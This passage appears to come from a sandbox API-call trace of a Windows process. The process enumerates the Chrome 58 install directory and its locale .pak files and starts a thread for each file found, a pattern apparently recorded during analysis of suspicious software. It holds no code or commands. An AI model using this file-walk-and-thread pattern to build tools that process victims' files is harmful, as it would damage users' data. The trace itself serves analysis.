(x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" [0154.630] wcscat (in: _Dest=0x1cd65b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\" [0154.630] wcscat (in: _Dest=0x1cd65b80, _Source="chrome.7z" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" [0158.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0158.501] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0158.501] wcscmp (_String1="setup.exe", _String2=".") returned 1 [0158.501] wcscmp (_String1="setup.exe", _String2="..") returned 1 [0158.501] FindNextFileW (in: hFindFile=0x1ced59e0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0158.501] FindClose (in: hFindFile=0x1ced59e0 | out: hFindFile=0x1ced59e0) returned 1 [0158.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0158.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c510) returned 1 [0158.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 Thread: id = 2507 os_tid = 0x1fa0 [0154.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c290 [0154.653] wcscpy (in: _Dest=0x4205c290, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0154.653] wcscat (in: _Dest=0x4205c290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0154.653] wcscat (in: _Dest=0x4205c290, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*" [0154.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0154.653] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e00 [0154.726] wcscmp (_String1=".", _String2=".") returned 0 [0154.726] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.797] wcscmp (_String1="..", _String2=".") returned 1 [0154.797] wcscmp (_String1="..", _String2="..") returned 0 [0154.797] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeae1a98, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0154.797] wcscmp (_String1="am.pak", _String2=".") returned 1 [0154.797] wcscmp (_String1="am.pak", _String2="..") returned 1 [0154.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65550 [0154.797] wcscpy (in: _Dest=0x1cd65550, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0154.798] wcscat (in: _Dest=0x1cd65550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0154.798] wcscat (in: _Dest=0x1cd65550, _Source="am.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" [0158.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0158.507] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb0b2b9, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6df65, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0158.507] wcscmp (_String1="ar.pak", _String2=".") returned 1 [0158.507] wcscmp (_String1="ar.pak", _String2="..") returned 1 [0158.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd640b0 [0158.508] wcscpy (in: _Dest=0x1cd640b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.508] wcscat (in: _Dest=0x1cd640b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.508] wcscat (in: _Dest=0x1cd640b0, _Source="ar.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" [0158.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd640b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1534 [0158.508] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb34ada, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x84ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0158.508] wcscmp (_String1="bg.pak", _String2=".") returned 1 [0158.508] wcscmp (_String1="bg.pak", _String2="..") returned 1 [0158.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd649a0 [0158.509] wcscpy (in: _Dest=0x1cd649a0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.509] wcscat (in: _Dest=0x1cd649a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.509] wcscat (in: _Dest=0x1cd649a0, _Source="bg.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" [0158.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd649a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528 [0158.510] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb6582e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa9727, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0158.510] wcscmp (_String1="bn.pak", _String2=".") returned 1 [0158.510] wcscmp (_String1="bn.pak", _String2="..") returned 1 [0158.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64a50 [0158.510] wcscpy (in: _Dest=0x1cd64a50, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.510] wcscat (in: _Dest=0x1cd64a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.510] wcscat (in: _Dest=0x1cd64a50, _Source="bn.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" [0158.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8 [0158.511] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb91760, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5082b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0158.511] wcscmp (_String1="ca.pak", _String2=".") returned 1 [0158.511] wcscmp (_String1="ca.pak", _String2="..") returned 1 [0158.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd648f0 [0158.511] wcscpy (in: _Dest=0x1cd648f0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.511] wcscat (in: _Dest=0x1cd648f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.511] wcscat (in: _Dest=0x1cd648f0, _Source="ca.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" [0158.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd648f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0158.512] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebbaf81, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51809, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0158.512] wcscmp (_String1="cs.pak", _String2=".") returned 1 [0158.512] wcscmp (_String1="cs.pak", _String2="..") returned 1 [0158.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64840 [0158.512] wcscpy (in: _Dest=0x1cd64840, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.512] wcscat (in: _Dest=0x1cd64840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.512] wcscat (in: _Dest=0x1cd64840, _Source="cs.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" [0158.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0158.513] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebdf980, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x494f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0158.514] wcscmp (_String1="da.pak", _String2=".") returned 1 [0158.514] wcscmp (_String1="da.pak", _String2="..") returned 1 [0158.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64790 [0158.514] wcscpy (in: _Dest=0x1cd64790, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.514] wcscat (in: _Dest=0x1cd64790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.514] wcscat (in: _Dest=0x1cd64790, _Source="da.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\da.pak" [0158.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4 [0158.515] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec06a90, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x463fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0158.515] wcscmp (_String1="de.pak", _String2=".") returned 1 [0158.515] wcscmp (_String1="de.pak", _String2="..") returned 1 [0158.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd646e0 [0158.515] wcscpy (in: _Dest=0x1cd646e0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.515] wcscat (in: _Dest=0x1cd646e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.515] wcscat (in: _Dest=0x1cd646e0, _Source="de.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak" [0158.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd646e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0158.516] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec329c2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x8f814, dwReserved0=0x0, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0158.516] wcscmp (_String1="el.pak", _String2=".") returned 1 [0158.516] wcscmp (_String1="el.pak", _String2="..") returned 1 [0158.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64630 [0158.516] wcscpy (in: _Dest=0x1cd64630, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.516] wcscat (in: _Dest=0x1cd64630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.516] wcscat (in: _Dest=0x1cd64630, _Source="el.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" [0158.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0158.517] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec63716, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4244f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0158.517] wcscmp (_String1="en-GB.pak", _String2=".") returned 1 [0158.517] wcscmp (_String1="en-GB.pak", _String2="..") returned 1 [0158.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd64580 [0158.517] wcscpy (in: _Dest=0x1cd64580, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.517] wcscat (in: _Dest=0x1cd64580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.518] wcscat (in: _Dest=0x1cd64580, _Source="en-GB.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" [0158.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0158.518] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec796af, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42442, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0158.519] wcscmp (_String1="en-US.pak", _String2=".") returned 1 [0158.519] wcscmp (_String1="en-US.pak", _String2="..") returned 1 [0158.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd644d0 [0158.519] wcscpy (in: _Dest=0x1cd644d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.519] wcscat (in: _Dest=0x1cd644d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.519] wcscat (in: _Dest=0x1cd644d0, _Source="en-US.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" [0158.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd644d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0158.520] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec9928c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4fca5, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0158.520] wcscmp (_String1="es-419.pak", _String2=".") returned 1 [0158.520] wcscmp (_String1="es-419.pak", _String2="..") returned 1 [0158.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64420 [0158.520] wcscpy (in: _Dest=0x1cd64420, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.520] wcscat (in: _Dest=0x1cd64420, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.520] wcscat (in: _Dest=0x1cd64420, _Source="es-419.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" [0158.520] CreateThread (in: lpThreadAttributes=0x0, 